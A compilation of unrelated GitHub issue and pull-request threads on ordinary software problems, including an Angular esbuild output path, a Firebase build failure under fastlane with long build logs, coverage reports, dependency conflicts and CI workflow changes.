fix(@angular-devkit/build-angular): resolve correct outdir for esbuild

PR Checklist
Please check to confirm your PR fulfills the following requirements:

[x] The commit message follows our guidelines: https://github.com/angular/angular-cli/blob/main/CONTRIBUTING.md#-commit-message-guidelines
[ ] Tests for the changes have been added (for bug fixes / features)
[ ] Docs have been added / updated (for bug fixes / features)

PR Type
What kind of change does this PR introduce?

[x] Bugfix
[ ] Feature
[ ] Code style update (formatting, local variables)
[ ] Refactoring (no functional changes, no api changes)
[ ] Build related changes
[ ] CI related changes
[ ] Documentation content changes
[ ] Other... Please describe:

What is the current behavior?
Esbuild options outdir is currently using the workspaceRoot value instead of the outputPath, it is problematic for instance when we want to create a plugin where we need the actual outdir.
Issue Number: N/A
What is the new behavior?
Now esbuild build options are using the real output path of the application instead of the workspace root.
Does this PR introduce a breaking change?

[ ] Yes
[x] No

Other information
Before writing tests, I wanted to see if this change could be accepted.

@alan-agius4 I'm curious about this, could you elaborate on why it is by design? For the context, I'm using Nx and we can define custom esbuild plugins using the browser-esbuild executor that delegates the work to the Angular builder. These plugins can access options passed to esbuild, and we expect to have access to the output path somewhere, but it is not the case we don't have the information as the workspace root value is used instead.

During an Angular builder invocation, several esbuild compilations occur. These result in output directed to both /browser and /server, all outside the esbuild context since esbuild itself doesn't write files to disk. The workspace root is utilized, ensuring esbuild outputs files without a directory.
Example"

"main.js"
"media/img.png"

OOC, why do you need the output path in a plugin?

I am not sure how this plugin would work, as esbuild doesn't easily allow adding assets which are not referenced in code. Writing the files directly using Node.js FS methods would result in the "asset" not being present during development when using Vite.

Good point, I missed the dev server issue, thanks for the hint.


current uploaded release on pypi is not useable after "import use"

there's no error, but also no functionality, it seems it imports init but nothing else?

Problem was resolved by putting "from use import use" in init.py


Add docs for Microsoft Teams

Adds documentation for setting up notification for Microsoft teams.
Fix: https://github.com/fluxcd/website/issues/738
Signed-off-by: Somtochi Onyekwere<EMAIL_ADDRESS>

Has this content been actually released anywhere?
I'm not finding it on anywhere on the https://fluxcd.io/flux/ - searching for word connectors brings just this https://fluxcd.io/flux/components/notification/provider/#microsoft-teams

Hey @mloskot
The doc in the PR has been replaced by one from a more recent API version, which comes up in the search. I can see that steps to create a webhook from the UI are no longer there and I will update the new docs to include them. Are there any other parts that you think are missing?


Q&A: possible to stop updates of PWA?

My PWA is currently checking for updates every 15minutes. When updates are found the window.location is reloaded and the user gets to see the most recent version of the app.
Now I want to add the possibility for some users to opt out of automatic updates, this they would click on a button and this would set a flag in the indexdb (as Service workers cannot use local storage) which will be checked in the service worker to know whether updates need to be applied or not.  The user can also trigger update check from a specific button in the gui.
Of course, the PWA does not need to update at the next browser refresh, otherwise the opt out functionality would be useless, and thus the whole asset content need to be cached aggressively by the worker.
Is this currently possible in workbox? And how to achieve this?

Hello! For questions like this about using Workbox, the best place to ask is Stack Overflow, tagged with [workbox]: https://stackoverflow.com/questions/ask?tags=workbox

thanks, i get the feeling that github discussions on github are much more active, stackOverflow never gave me satisfaction when it comes to getting answers to own questions.
i hoped i could find some more specific community support by posting this here. is there any discussion section for this project ?

Possibly, but would they be more helpful that Stack Overflow?


added basic info for 2 new apps

Related Issue

#599

Work Done

Set basic docs for dashboard suite and zos boot generator

Status

Set as draft
We can merge into development when the apps are added to the Dashboard

We won't use dashboard apps for the grid stack.


install apache-airflow[mysql] error

flask has released 1.1.1 version and has requirement Werkzeug>=0.15, but apache-airflow 1.10.3 has requirement werkzeug<0.15.0,>=0.14.1. Please update your requirments.
flask 1.1.1 has requirement Werkzeug>=0.15, but you'll have werkzeug 0.14.1 which is incompatible.
apache-airflow 1.10.3 has requirement werkzeug<0.15.0,>=0.14.1, but you'll have werkzeug 0.15.4 which is incompatible.

See #395


try cmake

@anandijain do you want to take this over/get it building on mac?

I'm about ready to give up on mac support/go to bed.

https://stackoverflow.com/questions/68105648/configure-cmake-to-work-with-homebrew-libraries-instead-system-provided-librarie

Locally:
> gcovr
------------------------------------------------------------------------------
                           GCC Code Coverage Report
Directory: .
------------------------------------------------------------------------------
File                                       Lines    Exec  Cover   Missing
------------------------------------------------------------------------------
include/BitSets.hpp                          118     115    97%   112,157,161
include/Comparators.hpp                      209     202    96%   406,416,423-424,435,477-478
include/Constraints.hpp                      188     155    82%   34-35,49,60,244-245,273-278,299-300,309-312,314,316,337-342,362-363,372-374,376,393
include/DependencyPolyhedra.hpp              391     374    95%   70,80,203,208,721,723-725,728-735,1033
include/Graphs.hpp                            57      57   100%
include/GreatestCommonDivisor.hpp             56      52    92%   80,82-83,85
include/Instruction.hpp                      266     208    78%   98,102,143-144,431,433-438,554,558,565,568-570,583,586-589,591-598,1194-1195,1197,1200,1290,1321,1332,1372,1380,1382,1384,1387,1403,1410,1412,1424-1427,1429,1442,1474,1479,1482-1485,1498
include/LinearAlgebra.hpp                     87      76    87%   32,52,56,79,83,93,101-102,114,158,167
include/LinearDiophantine.hpp                 41      37    90%   12,63-65
include/LoopBlock.hpp                        706     625    88%   438-441,540,552-553,555-563,566-574,576,645-646,857,862-877,879-888,963,992-995,1018,1095-1097,1104-1112,1115,1121-1123,1125,1130,1168,1182
include/LoopForest.hpp                        31      26    83%   48,74-75,99-100
include/Loops.hpp                            435     294    67%   46,48,50-53,56,58-62,75-77,82-83,85-86,88-89,92-93,95-96,98,101-102,105-106,108,110-111,157,165-167,194,199,290,293-298,310-311,317,322-339,342,352-355,377-383,386-388,390-399,408,434,436-438,440-442,445-446,481-483,485,489-499,501-505,508-509,511-512,514-515,518-522,524-525,527-529,532,696,755
include/Math.hpp                             783     767    98%   115,322,1218-1221,1229-1235,2192,2334,2404
include/MatrixStringParse.hpp                 23      23   100%
include/MemoryAccess.hpp                     110     101    91%   157,169,172,221,231-232,237-239
include/NormalForm.hpp                       361     347    96%   261-262,498-500,502-503,511,513-517,528
include/Orthogonalize.hpp                     28      28   100%
include/Polyhedra.hpp                         73      72    98%   114
include/Predicate.hpp                         84      25    29%   135,138-142,144-146,156-158,160-164,168-172,174,241-246,249-259,262-268,270-272,274-275,277,281-283,285,290,323
include/Rational.hpp                         123     116    94%   63,89,111,124,177,201,237
include/RemarkAnalysis.hpp                     9       6    66%   14,17-18
include/Schedule.hpp                          27      27   100%
include/Simplex.hpp                          375     349    93%   383,418,478,621,679,683-685,689-698,702-703,705,707,709,719,765,767
include/TurboLoop.hpp                        328     163    49%   100,105-107,113-115,190-191,193,196,198,200-201,208-212,223-225,239,241,246-249,268,271-272,274-275,278-292,294,296,298,313-315,317,329,334-335,337-343,347-348,350-355,357-359,361-365,379-380,383-384,392-393,395-396,420-421,430-433,435-439,441-445,447-450,453,476-480,482-483,486,500,504,570-573,602-609,611-617,619-625,628-630,632-633,636-641,643,645-646,649-650,652-653,655
include/Unimodularization.hpp                 10       8    80%   20,24
include/Utilities.hpp                         20      16    80%   157,163,172,178
include/VectorGreatestCommonDivisor.hpp       10       8    80%   16-17
lib/TurboLoop.cpp                             47      41    87%   64,84,103,120,126-127
test/ArrayReference.hpp                       16      16   100%
test/TestUtilities.hpp                        44      44   100%
test/bitset_test.cpp                          35      33    94%   37-38
test/comparator_test.cpp                      83      83   100%
test/compat_test.cpp                         102     102   100%
test/dependence_test.cpp                     947     945    99%   794-795
test/edge_detection_test.cpp                   1       1   100%
test/graph_test.cpp                           55      54    98%   64
test/linear_algebra_test.cpp                  36      36   100%
test/linear_diophantine_test.cpp              74      74   100%
test/matrix_test.cpp                         108     108   100%
test/normal_form_test.cpp                    276     262    94%   38-41,43-45,62,65-67,133,141,145
test/orthogonalize_test.cpp                  180     179    99%   54
test/remarks_test.cpp                          6       6   100%
test/simplex_test.cpp                         95      95   100%
test/string_to_intmat_test.cpp                16      16   100%
test/unimodularization_test.cpp               36      36   100%
------------------------------------------------------------------------------
TOTAL                                       7106    6408    90%
------------------------------------------------------------------------------

90% coverage instead of 62%, with Orthogonalize.hpp having 100% (28/28) instead of 42% (13/31).


DatePicker/ DateRangePicker date component with write property

Hi! Thanks for the awesome lib! Its really nice to finally have a date picker that can go back in time quickly. I even mentioned this in  dcc: https://github.com/plotly/dash-core-components/issues/990
However, the date/dates properties of the date pickers appear to be read only. It would be great to add write properties to them so that in a callback, you can for example set a default date range. Example code:
from datetime import datetime, timedelta
from dash import Dash, html, Input, Output
import dash_mantine_components as dmc

# App
app = Dash(__name__)
server = app.server

app.layout = html.Div(
    children=[
        html.Button("Set dates", id="click"),
        dmc.DateRangePicker(
            id="date_range",
        )
    ]
)

@app.callback(
    Output("date_range", "dates"),
    Input("click", "n_clicks"),
)
def set_initial_dates(click):
    today = datetime.now()
    end_date = today + timedelta(10)
    return [today, end_date]

# Main
if __name__ == "__main__":
    app.run_server(debug=True)

Hi @lucasjamar thanks for creating this issue. This is an important feature, I'll work on this on priority.

This has been fixed, will be part of the next release: 0.2.3.


Guice 4.2

Hi,
Small PR with a few updates to kotlin, guice, and other dependencies.
I've removed the separate multibinding module because since guice 4.2 it's part of core. Moved everything related to multibinding into the main module.
Let me know what you think.
Cheers.

Closing in favor of the more up-to-date #16.


feat: 🎸 table chart formatting

deployed here https://staging-static.keen.io/build/feat/table-chart-formatting/index.html

Codecov Report

Merging #290 (e47d38f) into develop (d1fd074) will decrease coverage by 0.00%.
The diff coverage is 83.33%.

@@             Coverage Diff             @@
##           develop     #290      +/-   ##
===========================================
- Coverage    86.92%   86.91%   -0.01%
===========================================
  Files          536      536
  Lines         6754     6758       +4
  Branches       639      639
===========================================
+ Hits          5871     5874       +3
- Misses         797      798       +1
  Partials        86       86

Impacted Files
Coverage Δ

...onents/WidgetVisualization/WidgetVisualization.tsx
83.72% <ø> (ø)

src/contexts/AppContext.ts
66.66% <ø> (ø)

src/modules/queries/serializers/savedQuery.ts
100.00% <ø> (ø)

...idgetEditor/components/ChartEditor/ChartEditor.tsx
80.23% <66.66%> (-0.72%)
:arrow_down:

...s/ChartWidgetEditor/components/DataViz/Dataviz.tsx
86.36% <100.00%> (+1.36%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update d1fd074...e47d38f. Read the comment docs.


Methods of Array

.

Array.prototype.concat()
The concat() method is used to merge two or more arrays. This method does not change the existing arrays, but instead returns a new array.


Implicit declaration of function 'pb_release' is invalid in C99 - GDTCCTUploader

[REQUIRED] Step 1: Describe your environment

Xcode version: Xcode 12
Firebase SDK version: 6.34-spm-beta
Firebase Component: FirebaseCrashlytics
Installation method: Swift Package Manager

[REQUIRED] Step 2: Describe the problem
I am trying to make a build from fastlane but archiving is failing. But I am to able archive from Xcode w/o any issue. Please see the following console log.
[10:34:01]: $ set -o pipefail && xcodebuild -scheme ExampleIosClient -project ./ExampleIosClient.xcodeproj -destination 'generic/platform=iOS' -archivePath build/ExampleIosClient-9533-9196f45e1-prod-AdHoc.xcarchive GCC_PREPROCESSOR_DEFINITIONS="$(value) ADHOC" OTHER_SWIFT_FLAGS="$(value) -DADHOC" clean archive | tee /Users/vvond/Library/Logs/gym/ExampleIosClient-ExampleIosClient.log | xcpretty
[10:34:01]: ▸ sh: value: command not found
[10:34:01]: ▸ sh: value: command not found
[10:34:21]: ▸ Clean Succeeded
[10:34:26]: ▸     The iOS deployment target 'IPHONEOS_DEPLOYMENT_TARGET' is set to 8.0, but the range of supported deployment target versions is 9.0 to 14.0.99. (in target 'CocoaLumberjack' from project 'CocoaLumberjack')
[10:34:28]: ▸ Compiling pb_encode.c
[10:34:29]: ▸ Compiling pb_decode.c
[10:34:29]: ▸ Compiling pb_common.c
[10:34:29]: ▸ Compiling pb_encode.c
[10:34:29]: ▸ Compiling pb_decode.c
[10:34:29]: ▸ Compiling pb_common.c
[10:34:49]: ▸ Linking nanopb.o
[10:34:49]: ▸ Linking nanopb.o
[10:34:49]: ▸ Compiling dummy.m
[10:34:49]: ▸ Compiling dummy.m
[10:34:49]: ▸ Linking Firebase.o
[10:34:49]: ▸ Linking Firebase.o
[10:34:49]: ▸ Compiling FBLPromiseError.m
[10:34:49]: ▸ Compiling FBLPromise.m
[10:34:49]: ▸ Compiling FBLPromise+Wrap.m
[10:34:49]: ▸ Compiling FBLPromise+Validate.m
[10:34:49]: ▸ Compiling FBLPromise+Timeout.m
[10:34:49]: ▸ Compiling FBLPromise+Then.m
[10:34:49]: ▸ Compiling FBLPromise+Testing.m
[10:34:49]: ▸ Compiling FBLPromise+Retry.m
[10:34:49]: ▸ Compiling FBLPromise+Reduce.m
[10:34:49]: ▸ Compiling FBLPromise+Recover.m
[10:34:49]: ▸ Compiling FBLPromise+Race.m
[10:34:49]: ▸ Compiling FBLPromise+Do.m
[10:34:49]: ▸ Compiling FBLPromise+Delay.m
[10:34:49]: ▸ Compiling FBLPromise+Catch.m
[10:34:49]: ▸ Compiling FBLPromise+Await.m
[10:34:49]: ▸ Compiling FBLPromise+Async.m
[10:34:49]: ▸ Compiling FBLPromise+Any.m
[10:34:49]: ▸ Compiling FBLPromise+Always.m
[10:34:49]: ▸ Compiling FBLPromise+All.m
[10:34:49]: ▸ Compiling FBLPromiseError.m
[10:34:49]: ▸ Compiling FBLPromise.m
[10:34:49]: ▸ Linking FBLPromises.o
[10:34:49]: ▸ Compiling FBLPromise+Wrap.m
[10:34:49]: ▸ Compiling FBLPromise+Validate.m
[10:34:49]: ▸ Compiling FBLPromise+Timeout.m
[10:34:49]: ▸ Compiling FBLPromise+Then.m
[10:34:49]: ▸ Compiling FBLPromise+Testing.m
[10:34:49]: ▸ Compiling FBLPromise+Retry.m
[10:34:49]: ▸ Compiling FBLPromise+Reduce.m
[10:34:49]: ▸ Compiling FBLPromise+Recover.m
[10:34:49]: ▸ Compiling FBLPromise+Race.m
[10:34:49]: ▸ Compiling FBLPromise+Do.m
[10:34:49]: ▸ Compiling FBLPromise+Delay.m
[10:34:49]: ▸ Compiling FBLPromise+Catch.m
[10:34:49]: ▸ Compiling FBLPromise+Await.m
[10:34:49]: ▸ Compiling FBLPromise+Async.m
[10:34:49]: ▸ Compiling FBLPromise+Any.m
[10:34:49]: ▸ Compiling FBLPromise+Always.m
[10:34:49]: ▸ Compiling FBLPromise+All.m
[10:34:49]: ▸ Compiling DDTTYLogger.m
[10:34:49]: ▸ Compiling DDOSLogger.m
[10:34:49]: ▸ Linking FBLPromises.o
[10:34:49]: ▸ Compiling DDMultiFormatter.m
[10:34:49]: ▸ Compiling DDLoggerNames.m
[10:34:49]: ▸ Compiling DDLog.m
[10:34:49]: ▸ Compiling DDFileLogger.m
[10:34:49]: ▸ Compiling DDFileLogger+Buffering.m
[10:34:49]: ▸ Compiling DDDispatchQueueLogFormatter.m
[10:34:49]: ▸ Compiling DDContextFilterLogFormatter.m
[10:34:49]: ▸ Compiling DDAbstractDatabaseLogger.m
[10:34:49]: ▸ Compiling DDASLLogger.m
[10:34:49]: ▸ Compiling DDASLLogCapture.m
[10:34:49]: ▸ Compiling CLIColor.m
[10:34:49]: ▸ Compiling DDTTYLogger.m
[10:34:49]: ▸ Compiling DDOSLogger.m
[10:34:49]: ▸ Linking CocoaLumberjack.o
[10:34:49]: ▸ Compiling DDMultiFormatter.m
[10:34:49]: ▸ Compiling DDLoggerNames.m
[10:34:49]: ▸ Compiling DDLog.m
[10:34:50]: ▸ Compiling DDFileLogger.m
[10:34:50]: ▸ Compiling DDFileLogger+Buffering.m
[10:34:50]: ▸ Compiling DDDispatchQueueLogFormatter.m
[10:34:50]: ▸ Compiling DDContextFilterLogFormatter.m
[10:34:50]: ▸ Compiling DDAbstractDatabaseLogger.m
[10:34:50]: ▸ Compiling DDASLLogger.m
[10:34:50]: ▸ Compiling DDASLLogCapture.m
[10:34:50]: ▸ Compiling CLIColor.m
[10:34:50]: ▸ Linking SwiftMessages.o
[10:34:57]: ▸ Linking SwiftMessages.o
[10:34:57]: ▸ Linking CocoaLumberjack.o
[10:34:57]: ▸ Compiling cct.nanopb.c
[10:34:57]: ▸ Compiling GDTCORUploadCoordinator.m
[10:34:57]: ▸ Compiling GDTCORTransport.m
[10:34:57]: ▸ Compiling GDTCORTransformer.m
[10:34:57]: ▸ Compiling GDTCORStorageEventSelector.m
[10:34:57]: ▸ Compiling GDTCORRegistrar.m
[10:34:57]: ▸ Compiling GDTCORReachability.m
[10:34:57]: ▸ Compiling GDTCORPlatform.m
[10:34:57]: ▸ Compiling GDTCORLifecycle.m
[10:34:57]: ▸ Compiling GDTCORFlatFileStorage.m
[10:34:57]: ▸ Compiling GDTCOREvent.m
[10:34:57]: ▸ Compiling GDTCOREvent+GDTCCTSupport.m
[10:34:57]: ▸ Compiling GDTCORDirectorySizeTracker.m
[10:34:57]: ▸ Compiling GDTCORConsoleLogger.m
[10:34:57]: ▸ Compiling GDTCORClock.m
[10:34:57]: ▸ Compiling GDTCORAssert.m
[10:34:57]: ▸ Compiling GDTCCTUploader.m
[10:34:57]: ▸ ⚠  /Users/vvond/Library/Developer/Xcode/DerivedData/ExampleIosClient-gpqbkqbyqomvwdcxffdtibqfykoa/SourcePackages/checkouts/firebase-ios-sdk/GoogleDataTransport/GDTCCTLibrary/GDTCCTUploader.m:355:5: implicit declaration of function 'pb_release' is invalid in C99 [-Wimplicit-function-declaration]
[10:34:57]: ▸     pb_release(gdt_cct_LogResponse_fields, &logResponse);
[10:34:57]: ▸     ^
[10:34:57]: ▸ ⚠  /Users/vvond/Library/Developer/Xcode/DerivedData/ExampleIosClient-gpqbkqbyqomvwdcxffdtibqfykoa/SourcePackages/checkouts/firebase-ios-sdk/GoogleDataTransport/GDTCCTLibrary/GDTCCTUploader.m:577:3: implicit declaration of function 'pb_release' is invalid in C99 [-Wimplicit-function-declaration]
[10:34:57]: ▸   pb_release(gdt_cct_BatchedLogRequest_fields, &batchedLogRequest);
[10:34:57]: ▸   ^
[10:34:57]: ▸ Compiling GDTCCTNanopbHelpers.m
[10:34:57]: ▸ Compiling GDTCCTCompressionHelper.m
[10:34:57]: ▸ Compiling cct.nanopb.c
[10:34:57]: ▸ Compiling GDTCORUploadCoordinator.m
[10:34:59]: ▸ Compiling GDTCORTransport.m
[10:34:59]: ▸ Linking GoogleDataTransport.o
[10:34:59]: ▸ Compiling GDTCORTransformer.m
[10:34:59]: ▸ Compiling GDTCORStorageEventSelector.m
[10:34:59]: ▸ Linking ExampleIosWidgetExtension
[10:34:59]: ▸ Compiling GDTCORRegistrar.m
[10:34:59]: ▸ Compiling GDTCORReachability.m
[10:34:59]: ▸ Compiling GDTCORPlatform.m
[10:34:59]: ▸ Compiling GDTCORLifecycle.m
[10:34:59]: ▸ Compiling GDTCORFlatFileStorage.m
[10:35:00]: ▸ Compiling GDTCOREvent.m
[10:35:00]: ▸ Compiling GDTCOREvent+GDTCCTSupport.m
[10:35:00]: ▸ Compiling GDTCORDirectorySizeTracker.m
[10:35:00]: ▸ Compiling GDTCORConsoleLogger.m
[10:35:00]: ▸ Compiling GDTCORClock.m
[10:35:00]: ▸ Compiling GDTCORAssert.m
[10:35:00]: ▸ Compiling GDTCCTUploader.m
[10:35:00]: ▸ ❌  /Users/vvond/Library/Developer/Xcode/DerivedData/ExampleIosClient-gpqbkqbyqomvwdcxffdtibqfykoa/SourcePackages/checkouts/firebase-ios-sdk/GoogleDataTransport/GDTCCTLibrary/GDTCCTUploader.m:355:5: implicit declaration of function 'pb_release' is invalid in C99 [-Werror,-Wimplicit-function-declaration]
[10:35:00]: ▸     pb_release(gdt_cct_LogResponse_fields, &logResponse);
[10:35:00]: ▸     ^
[10:35:00]: ▸ ❌  /Users/vvond/Library/Developer/Xcode/DerivedData/ExampleIosClient-gpqbkqbyqomvwdcxffdtibqfykoa/SourcePackages/checkouts/firebase-ios-sdk/GoogleDataTransport/GDTCCTLibrary/GDTCCTUploader.m:577:3: implicit declaration of function 'pb_release' is invalid in C99 [-Werror,-Wimplicit-function-declaration]
[10:35:00]: ▸   pb_release(gdt_cct_BatchedLogRequest_fields, &batchedLogRequest);
[10:35:00]: ▸ ^
[10:35:00]: ▸ Compiling GDTCCTNanopbHelpers.m
[10:35:00]: ▸ Compiling GDTCCTCompressionHelper.m
[10:35:00]: ▸     The iOS deployment target 'IPHONEOS_DEPLOYMENT_TARGET' is set to 8.0, but the range of supported deployment target versions is 9.0 to 14.0.99. (in target 'CocoaLumberjackSwiftSupport' from project 'CocoaLumberjack')
[10:35:00]: ▸     GLKit is deprecated. Consider migrating to MetalKit instead. (in target 'ExampleIosClient' from project 'ExampleIosClient')
[10:35:00]: ▸     OpenGLES is deprecated. Consider migrating to Metal instead. (in target 'ExampleIosClient' from project 'ExampleIosClient')
[10:35:00]: ▸     MobileCoreServices has been renamed. Use CoreServices instead. (in target 'ExampleIosClient' from project 'ExampleIosClient')
[10:35:00]: ▸     The iOS deployment target 'IPHONEOS_DEPLOYMENT_TARGET' is set to 8.0, but the range of supported deployment target versions is 9.0 to 14.0.99. (in target 'CocoaLumberjackSwift' from project 'CocoaLumberjack')
[10:35:01]: ▸     The iOS deployment target 'IPHONEOS_DEPLOYMENT_TARGET' is set to 8.0, but the range of supported deployment target versions is 9.0 to 14.0.99. (in target 'CocoaLumberjackSwift' from project 'CocoaLumberjack')
[10:35:01]: ▸     The iOS deployment target 'IPHONEOS_DEPLOYMENT_TARGET' is set to 8.0, but the range of supported deployment target versions is 9.0 to 14.0.99. (in target 'CocoaLumberjack' from project 'CocoaLumberjack')
[10:35:01]: ▸ ** ARCHIVE FAILED **
[10:35:01]: ▸ The following build commands failed:
[10:35:01]: ▸ 	CompileC /Users/vvond/Library/Developer/Xcode/DerivedData/ExampleIosClient-gpqbkqbyqomvwdcxffdtibqfykoa/Build/Intermediates.noindex/ArchiveIntermediates/ExampleIosClient/IntermediateBuildFilesPath/Firebase.build/Release-iphoneos/GoogleDataTransport.build/Objects-normal/arm64/GDTCCTUploader.o /Users/vvond/Library/Developer/Xcode/DerivedData/ExampleIosClient-gpqbkqbyqomvwdcxffdtibqfykoa/SourcePackages/checkouts/firebase-ios-sdk/GoogleDataTransport/GDTCCTLibrary/GDTCCTUploader.m normal arm64 objective-c com.apple.compilers.llvm.clang.1_0.compiler
[10:35:01]: ▸ (1 failure)

Hey @chanuuuu, can you share a project that reproduces this build issue? It's likely caused by something in your project's build flags.

In particular, the declaration for pb_release only exists if the PB_ENABLE_MALLOC macro is defined. We define that macro here: https://github.com/firebase/firebase-ios-sdk/blob/master/Package.swift#L706, so something about your project configuration has corrupted this.

This is only happening with fastlane, no issues with regular archive from Xcode. So producing a sample app is tricky. I ll try to reproduce this with sample app. Is there any specific project configuration that I can check for in the meantime?

You can likely work around this by defining PB_ENABLE_MALLOC in your fastlane ENV (see these docs).

Defining PB_ENABLE_MALLOC as ENV is not working so I added it to GCC_PREPROCESSOR_DEFINITIONS from fastlane file which looks like fixed the issue. But now I seeing a different issue-
The following build commands failed:
CompileSwift normal arm64
CompileSwift normal armv7
CompileC /Users/vvond/Library/Developer/Xcode/DerivedData/VuduIosClient-gpqbkqbyqomvwdcxffdtibqfykoa/Build/Intermediates.noindex/ArchiveIntermediates/VuduIosClient/IntermediateBuildFilesPath/Firebase.build/Release-iphoneos/FirebaseCore.build/Objects-normal/arm64/FIRVersion.o /Users/vvond/Library/Developer/Xcode/DerivedData/VuduIosClient-gpqbkqbyqomvwdcxffdtibqfykoa/SourcePackages/checkouts/firebase-ios-sdk/FirebaseCore/Sources/FIRVersion.m normal arm64 objective-c com.apple.compilers.llvm.clang.1_0.compiler
(3 failures)
▸ Linking FirebaseCoreDiagnostics.o
▸ Compiling GULNetworkURLSession.m
▸ Compiling GULNetworkConstants.m
▸ Compiling GULNetwork.m
▸ Compiling GULMutableDictionary.m
▸ Compiling GULNetworkURLSession.m
▸ Compiling GULNetworkConstants.m
▸ Linking GoogleUtilities_Network.o
▸ Compiling GULNetwork.m
▸ Compiling GULMutableDictionary.m
▸ Touching VuduIosWidgetExtension.appex (in target 'VuduIosWidgetExtension' from project 'VuduIosClient')
▸ Compiling FIRVersion.m
❌  /Users/vvond/Library/Developer/Xcode/DerivedData/VuduIosClient-gpqbkqbyqomvwdcxffdtibqfykoa/SourcePackages/checkouts/firebase-ios-sdk/FirebaseCore/Sources/FIRVersion.m:20:2: "Firebase_VERSION is not defined: add -DFirebase_VERSION=... to the build invocation"
#error "Firebase_VERSION is not defined: add -DFirebase_VERSION=... to the build invocation"
 ^

Hm, looks like you'll have to do this for all of the build definitions in order to work around this issue. My knowledge of fastlane is limited; is there a way to just plumb the build settings from Xcode/SPM through to fastlane instead of manually copying all of them?

It looks like the fastlane config is overriding all of the GCC_PREPROCESSOR_DEFINITIONS podspecc settings.
See https://stackoverflow.com/a/55892511/556617

I'm going to close since it looks like the stackoverflow question and answer linked above matches this. Please comment if that's not the case and we can reopen.


Widening 'ss' variable type in f_mkfs()

Type of variable 'ss' should be widen from WORD to DWORD in function f_mkfs() defined in ff.c. The variable is passed to disk_ioctl() by reference and get the value by assigning to (*uint32_t).
Send the reference to 'ss':
if (disk_ioctl(pdrv, GET_SECTOR_SIZE, &ss) != RES_OK) return FR_DISK_ERR;
Assign the value to 'ss' by reference:
in ff_wl_ioctl():
case GET_SECTOR_SIZE:
*((uint32_t *) buff) = wl_sector_size(wl_handle);
ff_sdmmc_ioctl():
case GET_SECTOR_SIZE:
((uint32_t) buff) = card->csd.sector_size;

 Thank you for your submission, we really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

Thanks @jkearins for this fix. Something went funny in the branch (there's a random merge commit in there), so I've cherry-picked just this change into a new branch and submitted it to our review & merge queue.


Upgrade vulnerable dependencies

$subject

resolves - https://github.com/wso2/product-is/issues/13598


bug: Redpanda source startup mode = latest doesn't work in batch query

Describe the bug
I configured a data source by connecting it to the Redpanda topic with the 'startup mode' set as 'latest.' However, I encountered an issue when querying the data. Despite having three days of data in my topic, the queries from the source consistently return data from the earliest records, not the latest ones. I'm puzzled about the purpose of specifying 'latest' as the startup mode in this scenario.
Error message/log
No response
To Reproduce
No response
Expected behavior
No response
How did you deploy RisingWave?
No response
The version of RisingWave
No response
Additional context
Feedback from users.

I think we don't support the semantics of latest in query batch source.
If my understand is correct, in streaming, latest means that we can see the data after materized veiw is created. E.g.
data: 1 |create source| data: 2 | create materized view | data: 3
The materized view only can see the data 3. Because we fetch the partition offset when we actually create the materized view.
According to #6725, in batch, we fetch the partition offset every time the batch query comes in. We can't directly apply the latest in streaming because that will cause get empty data every time. So to support latest, I think we need to define latest semantics in batch source first.
E.g. latest in batch source query means that we can only see the data after create source, in above example, which means that we can see data 2 and data 3.
data: 1 |create source| data: 2 | create materized view | data: 3
And then to support above semantics, maybe we should store the partition offset when we create the source.
cc @fuyufjh @tabVersion @liurenjie1024

It's by design. latest is meaningless in batch query. User is supposed to use _rw_kafka_timestamp to filter out messages: https://docs.risingwave.com/docs/current/create-source-kafka/#query-kafka-timestamp


[python] Add GHA workflow for minimal CI jobs

Issue and/or context:
#723
Changes:

add python-ci-minimal.yml GHA workflow for minimal CI jobs, invoked by pushes to feature branches
rename python-ci.yml to python-ci-full.yml, to differentiate from the "minimal" workflow; invoked by pushes to main and for releases
add python-ci-single.yml, which is a reusable workflow called by the "minimal" and "full" workflows.
factored out linting steps into a separate job from the build/tests steps to avoid having conditional logic on those steps

Notes for Reviewer:
Successful workflow runs:

"minimal": https://github.com/single-cell-data/TileDB-SOMA/actions/runs/3961177942
"full" https://github.com/single-cell-data/TileDB-SOMA/actions/runs/3961201306
As these requires some temporary hacks to trigger, our final test of the "full" workflow can only be run upon merging this PR to main. 🤞

Codecov Report
Base: 70.06% // Head: 79.62% // Increases project coverage by +9.56% :tada:

Coverage data is based on head (e8146dc) compared to base (578936a).
Patch has no changes to coverable lines.

Additional details and impacted files
@@            Coverage Diff             @@
##             main     #750      +/-   ##
==========================================
+ Coverage   70.06%   79.62%   +9.56%
==========================================
  Files          70       30      -40
  Lines        3561     1988    -1573
==========================================
- Hits         2495     1583     -912
+ Misses       1066      405     -661

Flag
Coverage Δ

python
79.62% <ø> (+0.78%)
:arrow_up:

r
?

Flags with carried forward coverage won't be shown. Click here to find out more.

Impacted Files
Coverage Δ

inst/tiledb/include/tiledb/context.h

R/TileDBArray.R

R/SOMADataFrame.R

src/riterator.cpp

inst/tiledb/include/tiledb/type.h

src/include/tiledbsoma/column_buffer.h

src/include/tiledbsoma/soma_reader.h

inst/tiledb/include/tiledb/schema_base.h

inst/tiledb/include/tiledb/core_interface.h

src/include/tiledbsoma/common.h

... and 38 more

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.

:umbrella: View full report at Codecov.
:loudspeaker: Do you have feedback about the report comment? Let us know in this issue.

@johnkerl @thetorpedodog I'd say this is ready, if we want to move forward with it. I merged in the caching improvements that Paul made earlier today.
Iever quite figured out why only push works to trigger Python workflows, while pull_request is working to trigger R workflows. Interestingly, the R workflow triggers even if just a apis/python/** file changes, which makes me believe it's not the pull_request trigger that is working, but rather the push trigger that also exists in the r-ci.yml file. It must be that the a transient merge into main is being done to test the PR against main, and that is what's triggering the R workflow. It's a bit mind-boggling and GHA docs are not clear on the matter at all.  But they hint at such things as I've described...
Not going to spend more time on this, so we can take it or leave it as is. 😄

Yes @atolopko-czi re known-broken R CI pending https://github.com/single-cell-data/TileDB-SOMA/pull/766 :)

See also #693


Convert to UTC

All times on the command line should be interpreted as UTC, and all output should be UTC.

@johnhtodd  Changed and force all queries in UTC only. Thanks for picking this up.
commit f901aa2db5b3fd62a13f4955c442b872694a0f91


Bug Report: Mastodon URL Under Profile Section Doesn't Save

